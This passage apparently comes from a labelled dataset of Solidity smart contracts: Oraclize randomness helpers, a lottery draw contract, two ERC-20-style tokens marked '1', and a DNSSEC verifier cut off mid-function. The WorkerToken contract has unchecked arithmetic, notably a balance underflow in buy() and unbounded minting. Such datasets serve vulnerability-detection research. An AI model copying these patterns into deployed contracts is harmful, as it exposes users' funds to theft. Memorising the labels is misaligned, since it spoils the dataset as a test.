function oraclize_getNetworkName() internal view returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = oraclize_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000))
}
oraclize_randomDS_setCommitment(queryId, keccak256(abi.encodePacked(delay_bytes8_left, args[1], sha256(args[0]), args[2])));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
(sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs);
if (address(keccak256(pubkey)) == signer) return true;
else {
(sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs);
return (address(keccak256(pubkey)) == signer);
}
}
function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) {
bool sigok;
bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2);
copyBytes(proof, sig2offset, sig2.length, sig2, 0);
bytes memory appkey1_pubkey = new bytes(64);
copyBytes(proof, 3+1, 64, appkey1_pubkey, 0);
bytes memory tosign2 = new bytes(1+65+32);
tosign2[0] = byte(1);
copyBytes(proof, sig2offset-65, 65, tosign2, 1);
bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c";
copyBytes(CODEHASH, 0, 32, tosign2, 1+65);
sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey);
if (sigok == false) return false;
bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4";
bytes memory tosign3 = new bytes(1+65);
tosign3[0] = 0xFE;
copyBytes(proof, 3, 65, tosign3, 1);
bytes memory sig3 = new bytes(uint(proof[3+65+1])+2);
copyBytes(proof, 3+65, sig3.length, sig3, 0);
sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY);
return sigok;
}
modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) {
require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1));
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
require(proofVerified);
_;
}
function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){
if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1;
bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName());
if (proofVerified == false) return 2;
return 0;
}
function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){
bool match_ = true;
require(prefix.length == n_random_bytes);
for (uint256 i=0; i< n_random_bytes; i++) {
if (content[i] != prefix[i]) match_ = false;
}
return match_;
}
function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){
uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32;
bytes memory keyhash = new bytes(32);
copyBytes(proof, ledgerProofLength, 32, keyhash, 0);
if (!(keccak256(keyhash) == keccak256(abi.encodePacked(sha256(abi.encodePacked(context_name, queryId)))))) return false;
bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2);
copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0);
if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false;
bytes memory commitmentSlice1 = new bytes(8+1+32);
copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0);
bytes memory sessionPubkey = new bytes(64);
uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65;
copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0);
bytes32 sessionPubkeyHash = sha256(sessionPubkey);
if (oraclize_randomDS_args[queryId] == keccak256(abi.encodePacked(commitmentSlice1, sessionPubkeyHash))){
delete oraclize_randomDS_args[queryId];
} else return false;
bytes memory tosign1 = new bytes(32+8+1+32);
copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0);
if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false;
if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){
oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset);
}
return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash];
}
function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) {
uint minLength = length + toOffset;
require(to.length >= minLength);
uint i = 32 + fromOffset;
uint j = 32 + toOffset;
while (i < (32 + fromOffset + length)) {
assembly {
let tmp := mload(add(from, i))
mstore(add(to, j), tmp)
}
i += 32;
j += 32;
}
return to;
}
function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) {
bool ret;
address addr;
assembly {
let size := mload(0x40)
mstore(size, hash)
mstore(add(size, 32), v)
mstore(add(size, 64), r)
mstore(add(size, 96), s)
ret := call(3000, 1, 0, size, 128, size, 32)
addr := mload(size)
}
return (ret, addr);
}
function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) {
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65)
return (false, 0);
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27)
v += 27;
if (v != 27 && v != 28)
return (false, 0);
return safer_ecrecover(hash, v, r, s);
}
function safeMemoryCleaner() internal pure {
assembly {
let fmem := mload(0x40)
codecopy(fmem, codesize, sub(msize, fmem))
}
}
}
pragma solidity 0.4.25;
contract DrawContract is usingOraclize {
mapping(bytes32 => bool) validIds;
event LogQueryId(bytes32 queryId);
event LogNewOraclizeQuery(string description);
address owner;
constructor () payable public {
owner = msg.sender;
}
function () payable public {
require(msg.sender == owner);
}
function __callback(bytes32 myid, string result) public {
if (!validIds[myid]) revert();
if (msg.sender != oraclize_cbAddress()) revert();
delete validIds[myid];
}
function draw(string url, string lotterySlug, string drawDate) payable external {
require(msg.sender == owner);
if (oraclize_getPrice("URL") > address(this).balance) {
emit LogNewOraclizeQuery("false");
} else {
bytes32 queryId = oraclize_query("URL", url);
validIds[queryId] = true;
emit LogQueryId(queryId);
emit LogNewOraclizeQuery("true");
}
}
} | 0 |
pragma solidity ^0.4.13;
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) revert();
_;
}
function transferOwnership(address newOwner) onlyOwner {
owner = newOwner;
}
}
contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); }
contract token {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
function token(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) {
balanceOf[msg.sender] = initialSupply;
totalSupply = initialSupply;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
}
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function approve(address _spender, uint256 _value)
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balanceOf[_from] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
if (_value > allowance[_from][msg.sender]) revert();
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function () {
revert();
}
}
contract WorkerToken is owned, token {
uint public buyPrice = 10000;
bool public isSelling = true;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function WorkerToken(
uint256 initialSupply,
string tokenName,
uint8 decimalUnits,
string tokenSymbol
) token (initialSupply, tokenName, decimalUnits, tokenSymbol) {}
function transfer(address _to, uint256 _value) {
if (balanceOf[msg.sender] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
if (frozenAccount[msg.sender]) revert();
balanceOf[msg.sender] -= _value;
balanceOf[_to] += _value;
Transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (frozenAccount[_from]) revert();
if (balanceOf[_from] < _value) revert();
if (balanceOf[_to] + _value < balanceOf[_to]) revert();
if (_value > allowance[_from][msg.sender]) revert();
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
allowance[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function mintToken(address target, uint256 mintedAmount) onlyOwner {
balanceOf[target] += mintedAmount;
Transfer(0, owner, mintedAmount);
Transfer(owner, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrice(uint newBuyPrice) onlyOwner {
buyPrice = newBuyPrice;
}
function setSelling(bool newStatus) onlyOwner {
isSelling = newStatus;
}
function buy() payable {
if(isSelling == false) revert();
uint amount = msg.value * buyPrice;
balanceOf[msg.sender] += amount;
balanceOf[owner] -= amount;
Transfer(owner, msg.sender, amount);
}
function withdrawToOwner(uint256 amountWei) onlyOwner {
owner.transfer(amountWei);
}
} | 1 |
pragma solidity >=0.4.22 <0.6.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract DataChain is Ownable, SafeMath, IERC20{
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balanceOf[msg.sender] = 30000000000000000000000000;
totalSupply = 30000000000000000000000000;
name = "Data Chain";
symbol = "DATA";
decimals = 18;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value > 0);
require(balanceOf[msg.sender] >= _value);
require(balanceOf[_to] + _value >= balanceOf[_to]);
uint previousBalances = balanceOf[msg.sender] + balanceOf[_to];
balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
emit Transfer(msg.sender, _to, _value);
assert(balanceOf[msg.sender]+balanceOf[_to]==previousBalances);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
require((_value == 0) || (allowance[msg.sender][_spender] == 0));
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require (_to != address(0));
require (_value > 0);
require (balanceOf[_from] >= _value) ;
require (balanceOf[_to] + _value > balanceOf[_to]);
require (_value <= allowance[_from][msg.sender]);
balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value);
balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value);
allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
}
} | 1 |
pragma solidity ^0.4.23;
library BytesUtils {
function keccak(bytes memory self, uint offset, uint len) internal pure returns (bytes32 ret) {
require(offset + len <= self.length);
assembly {
ret := sha3(add(add(self, 32), offset), len)
}
}
function compare(bytes memory self, bytes memory other) internal pure returns (int) {
return compare(self, 0, self.length, other, 0, other.length);
}
function compare(bytes memory self, uint offset, uint len, bytes memory other, uint otheroffset, uint otherlen) internal pure returns (int) {
uint shortest = len;
if (otherlen < len)
shortest = otherlen;
uint selfptr;
uint otherptr;
assembly {
selfptr := add(self, add(offset, 32))
otherptr := add(other, add(otheroffset, 32))
}
for (uint idx = 0; idx < shortest; idx += 32) {
uint a;
uint b;
assembly {
a := mload(selfptr)
b := mload(otherptr)
}
if (a != b) {
uint mask;
if (shortest > 32) {
mask = uint256(- 1);
} else {
mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
}
uint diff = (a & mask) - (b & mask);
if (diff != 0)
return int(diff);
}
selfptr += 32;
otherptr += 32;
}
return int(len) - int(otherlen);
}
function equals(bytes memory self, uint offset, bytes memory other, uint otherOffset, uint len) internal pure returns (bool) {
return keccak(self, offset, len) == keccak(other, otherOffset, len);
}
function equals(bytes memory self, uint offset, bytes memory other, uint otherOffset) internal pure returns (bool) {
return keccak(self, offset, self.length - offset) == keccak(other, otherOffset, other.length - otherOffset);
}
function equals(bytes memory self, uint offset, bytes memory other) internal pure returns (bool) {
return self.length >= offset + other.length && equals(self, offset, other, 0, other.length);
}
function equals(bytes memory self, bytes memory other) internal pure returns(bool) {
return self.length == other.length && equals(self, 0, other, 0, self.length);
}
function readUint8(bytes memory self, uint idx) internal pure returns (uint8 ret) {
require(idx + 1 <= self.length);
assembly {
ret := and(mload(add(add(self, 1), idx)), 0xFF)
}
}
function readUint16(bytes memory self, uint idx) internal pure returns (uint16 ret) {
require(idx + 2 <= self.length);
assembly {
ret := and(mload(add(add(self, 2), idx)), 0xFFFF)
}
}
function readUint32(bytes memory self, uint idx) internal pure returns (uint32 ret) {
require(idx + 4 <= self.length);
assembly {
ret := and(mload(add(add(self, 4), idx)), 0xFFFFFFFF)
}
}
function readBytes32(bytes memory self, uint idx) internal pure returns (bytes32 ret) {
require(idx + 32 <= self.length);
assembly {
ret := mload(add(add(self, 32), idx))
}
}
function readBytes20(bytes memory self, uint idx) internal pure returns (bytes20 ret) {
require(idx + 20 <= self.length);
assembly {
ret := and(mload(add(add(self, 32), idx)), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000)
}
}
function readBytesN(bytes memory self, uint idx, uint len) internal pure returns (bytes20 ret) {
require(idx + len <= self.length);
assembly {
let mask := not(sub(exp(256, sub(32, len)), 1))
ret := and(mload(add(add(self, 32), idx)), mask)
}
}
function memcpy(uint dest, uint src, uint len) private pure {
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function substring(bytes memory self, uint offset, uint len) internal pure returns(bytes) {
require(offset + len <= self.length);
bytes memory ret = new bytes(len);
uint dest;
uint src;
assembly {
dest := add(ret, 32)
src := add(add(self, 32), offset)
}
memcpy(dest, src, len);
return ret;
}
bytes constant base32HexTable = hex'00010203040506070809FFFFFFFFFFFFFF0A0B0C0D0E0F101112131415161718191A1B1C1D1E1FFFFFFFFFFFFFFFFFFFFF0A0B0C0D0E0F101112131415161718191A1B1C1D1E1F';
function base32HexDecodeWord(bytes memory self, uint off, uint len) internal pure returns(bytes32) {
require(len <= 52);
uint ret = 0;
for(uint i = 0; i < len; i++) {
byte char = self[off + i];
require(char >= 0x30 && char <= 0x7A);
uint8 decoded = uint8(base32HexTable[uint(char) - 0x30]);
require(decoded <= 0x20);
if(i == len - 1) {
break;
}
ret = (ret << 5) | decoded;
}
uint bitlen = len * 5;
if(len % 8 == 0) {
ret = (ret << 5) | decoded;
} else if(len % 8 == 2) {
ret = (ret << 3) | (decoded >> 2);
bitlen -= 2;
} else if(len % 8 == 4) {
ret = (ret << 1) | (decoded >> 4);
bitlen -= 4;
} else if(len % 8 == 5) {
ret = (ret << 4) | (decoded >> 1);
bitlen -= 1;
} else if(len % 8 == 7) {
ret = (ret << 2) | (decoded >> 3);
bitlen -= 3;
} else {
revert();
}
return bytes32(ret << (256 - bitlen));
}
}
interface DNSSEC {
event AlgorithmUpdated(uint8 id, address addr);
event DigestUpdated(uint8 id, address addr);
event NSEC3DigestUpdated(uint8 id, address addr);
event RRSetUpdated(bytes name, bytes rrset);
function submitRRSets(bytes memory data, bytes memory proof) public returns (bytes);
function submitRRSet(bytes memory input, bytes memory sig, bytes memory proof) public returns(bytes memory rrs);
function deleteRRSet(uint16 deleteType, bytes deleteName, bytes memory nsec, bytes memory sig, bytes memory proof) public;
function rrdata(uint16 dnstype, bytes memory name) public view returns (uint32, uint64, bytes20);
}
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier owner_only() {
require(msg.sender == owner);
_;
}
function setOwner(address newOwner) public owner_only {
owner = newOwner;
}
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint capacity) internal pure returns(buffer memory) {
if (capacity % 32 != 0) {
capacity += 32 - (capacity % 32);
}
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
return buf;
}
function fromBytes(bytes b) internal pure returns(buffer memory) {
buffer memory buf;
buf.buf = b;
buf.capacity = b.length;
return buf;
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if (a > b) {
return a;
}
return b;
}
function truncate(buffer memory buf) internal pure returns (buffer memory) {
assembly {
let bufptr := mload(buf)
mstore(bufptr, 0)
}
return buf;
}
function write(buffer memory buf, uint off, bytes data, uint len) internal pure returns(buffer memory) {
require(len <= data.length);
if (off + len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint dest;
uint src;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, 32), off)
if gt(add(len, off), buflen) {
mstore(bufptr, add(len, off))
}
src := add(data, 32)
}
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, bytes data, uint len) internal pure returns (buffer memory) {
return write(buf, buf.buf.length, data, len);
}
function append(buffer memory buf, bytes data) internal pure returns (buffer memory) {
return write(buf, buf.buf.length, data, data.length);
}
function writeUint8(buffer memory buf, uint off, uint8 data) internal pure returns(buffer memory) {
if (off > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, off), 32)
mstore8(dest, data)
if eq(off, buflen) {
mstore(bufptr, add(buflen, 1))
}
}
return buf;
}
function appendUint8(buffer memory buf, uint8 data) internal pure returns(buffer memory) {
return writeUint8(buf, buf.buf.length, data);
}
function write(buffer memory buf, uint off, bytes32 data, uint len) private pure returns(buffer memory) {
if (len + off > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
data = data >> (8 * (32 - len));
assembly {
let bufptr := mload(buf)
let dest := add(add(bufptr, off), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
if gt(add(off, len), mload(bufptr)) {
mstore(bufptr, add(off, len))
}
}
return buf;
}
function writeBytes20(buffer memory buf, uint off, bytes20 data) internal pure returns (buffer memory) {
return write(buf, off, bytes32(data), 20);
}
function appendBytes20(buffer memory buf, bytes20 data) internal pure returns (buffer memory) {
return write(buf, buf.buf.length, bytes32(data), 20);
}
function appendBytes32(buffer memory buf, bytes32 data) internal pure returns (buffer memory) {
return write(buf, buf.buf.length, data, 32);
}
function writeInt(buffer memory buf, uint off, uint data, uint len) private pure returns(buffer memory) {
if (len + off > buf.capacity) {
resize(buf, max(buf.capacity, len + off) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let dest := add(add(bufptr, off), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
if gt(add(off, len), mload(bufptr)) {
mstore(bufptr, add(off, len))
}
}
return buf;
}
}
library RRUtils {
using BytesUtils for *;
using Buffer for *;
function nameLength(bytes memory self, uint offset) internal pure returns(uint) {
uint idx = offset;
while (true) {
assert(idx < self.length);
uint labelLen = self.readUint8(idx);
idx += labelLen + 1;
if (labelLen == 0) {
break;
}
}
return idx - offset;
}
function readName(bytes memory self, uint offset) internal pure returns(bytes memory ret) {
uint len = nameLength(self, offset);
return self.substring(offset, len);
}
function labelCount(bytes memory self, uint offset) internal pure returns(uint) {
uint count = 0;
while (true) {
assert(offset < self.length);
uint labelLen = self.readUint8(offset);
offset += labelLen + 1;
if (labelLen == 0) {
break;
}
count += 1;
}
return count;
}
struct RRIterator {
bytes data;
uint offset;
uint16 dnstype;
uint16 class;
uint32 ttl;
uint rdataOffset;
uint nextOffset;
}
function iterateRRs(bytes memory self, uint offset) internal pure returns (RRIterator memory ret) {
ret.data = self;
ret.nextOffset = offset;
next(ret);
}
function done(RRIterator memory iter) internal pure returns(bool) {
return iter.offset >= iter.data.length;
}
function next(RRIterator memory iter) internal pure {
iter.offset = iter.nextOffset;
if (iter.offset >= iter.data.length) {
return;
}
uint off = iter.offset + nameLength(iter.data, iter.offset);
iter.dnstype = iter.data.readUint16(off);
off += 2;
iter.class = iter.data.readUint16(off);
off += 2;
iter.ttl = iter.data.readUint32(off);
off += 4;
uint rdataLength = iter.data.readUint16(off);
off += 2;
iter.rdataOffset = off;
iter.nextOffset = off + rdataLength;
}
function name(RRIterator memory iter) internal pure returns(bytes memory) {
return iter.data.substring(iter.offset, nameLength(iter.data, iter.offset));
}
function rdata(RRIterator memory iter) internal pure returns(bytes memory) {
return iter.data.substring(iter.rdataOffset, iter.nextOffset - iter.rdataOffset);
}
function checkTypeBitmap(bytes memory self, uint offset, uint16 rrtype) internal pure returns (bool) {
uint8 typeWindow = uint8(rrtype >> 8);
uint8 windowByte = uint8((rrtype & 0xff) / 8);
uint8 windowBitmask = uint8(uint8(1) << (uint8(7) - uint8(rrtype & 0x7)));
for (uint off = offset; off < self.length;) {
uint8 window = self.readUint8(off);
uint8 len = self.readUint8(off + 1);
if (typeWindow < window) {
return false;
} else if (typeWindow == window) {
if (len * 8 <= windowByte) {
return false;
}
return (self.readUint8(off + windowByte + 2) & windowBitmask) != 0;
} else {
off += len + 2;
}
}
return false;
}
function compareNames(bytes memory self, bytes memory other) internal pure returns (int) {
if (self.equals(other)) {
return 0;
}
uint off;
uint otheroff;
uint prevoff;
uint otherprevoff;
uint counts = labelCount(self, 0);
uint othercounts = labelCount(other, 0);
while (counts > othercounts) {
prevoff = off;
off = progress(self, off);
counts--;
}
while (othercounts > counts) {
otherprevoff = otheroff;
otheroff = progress(other, otheroff);
othercounts--;
}
while (counts > 0 && !self.equals(off, other, otheroff)) {
prevoff = off;
off = progress(self, off);
otherprevoff = otheroff;
otheroff = progress(other, otheroff);
counts -= 1;
}
if (off == 0) {
return -1;
}
if(otheroff == 0) {
return 1;
}
return self.compare(prevoff + 1, self.readUint8(prevoff), other, otherprevoff + 1, other.readUint8(otherprevoff));
}
function progress(bytes memory body, uint off) internal pure returns(uint) {
return off + 1 + body.readUint8(off);
}
}
interface Algorithm {
function verify(bytes key, bytes data, bytes signature) external view returns (bool);
}
interface Digest {
function verify(bytes data, bytes hash) external pure returns (bool);
}
interface NSEC3Digest {
function hash(bytes salt, bytes data, uint iterations) external pure returns (bytes32);
}
contract DNSSECImpl is DNSSEC, Owned {
using Buffer for Buffer.buffer;
using BytesUtils for bytes;
using RRUtils for *;
uint16 constant DNSCLASS_IN = 1;
uint16 constant DNSTYPE_DS = 43;
uint16 constant DNSTYPE_RRSIG = 46;
uint16 constant DNSTYPE_NSEC = 47;
uint16 constant DNSTYPE_DNSKEY = 48;
uint16 constant DNSTYPE_NSEC3 = 50;
uint constant DS_KEY_TAG = 0;
uint constant DS_ALGORITHM = 2;
uint constant DS_DIGEST_TYPE = 3;
uint constant DS_DIGEST = 4;
uint constant RRSIG_TYPE = 0;
uint constant RRSIG_ALGORITHM = 2;
uint constant RRSIG_LABELS = 3;
uint constant RRSIG_TTL = 4;
uint constant RRSIG_EXPIRATION = 8;
uint constant RRSIG_INCEPTION = 12;
uint constant RRSIG_KEY_TAG = 16;
uint constant RRSIG_SIGNER_NAME = 18;
uint constant DNSKEY_FLAGS = 0;
uint constant DNSKEY_PROTOCOL = 2;
uint constant DNSKEY_ALGORITHM = 3;
uint constant DNSKEY_PUBKEY = 4;
uint constant DNSKEY_FLAG_ZONEKEY = 0x100;
uint constant NSEC3_HASH_ALGORITHM = 0;
uint constant NSEC3_FLAGS = 1;
uint constant NSEC3_ITERATIONS = 2;
uint constant NSEC3_SALT_LENGTH = 4;
uint constant NSEC3_SALT = 5;
uint8 constant ALGORITHM_RSASHA256 = 8;
uint8 constant DIGEST_ALGORITHM_SHA256 = 2;
struct RRSet {
uint32 inception;
uint64 inserted;
bytes20 hash;
}
mapping (bytes32 => mapping(uint16 => RRSet)) rrsets;
bytes public anchors;
mapping (uint8 => Algorithm) public algorithms;
mapping (uint8 => Digest) public digests;
mapping (uint8 => NSEC3Digest) public nsec3Digests;
constructor(bytes _anchors) public {
anchors = _anchors;
rrsets[keccak256(hex"00")][DNSTYPE_DS] = RRSet({
inception: uint32(0),
inserted: uint64(now),
hash: bytes20(keccak256(anchors))
});
emit RRSetUpdated(hex"00", anchors);
}
function setAlgorithm(uint8 id, Algorithm algo) public owner_only {
algorithms[id] = algo;
emit AlgorithmUpdated(id, algo);
}
function setDigest(uint8 id, Digest digest) public owner_only {
digests[id] = digest;
emit DigestUpdated(id, digest);
}
function setNSEC3Digest(uint8 id, NSEC3Digest digest) public owner_only {
nsec3Digests[id] = digest;
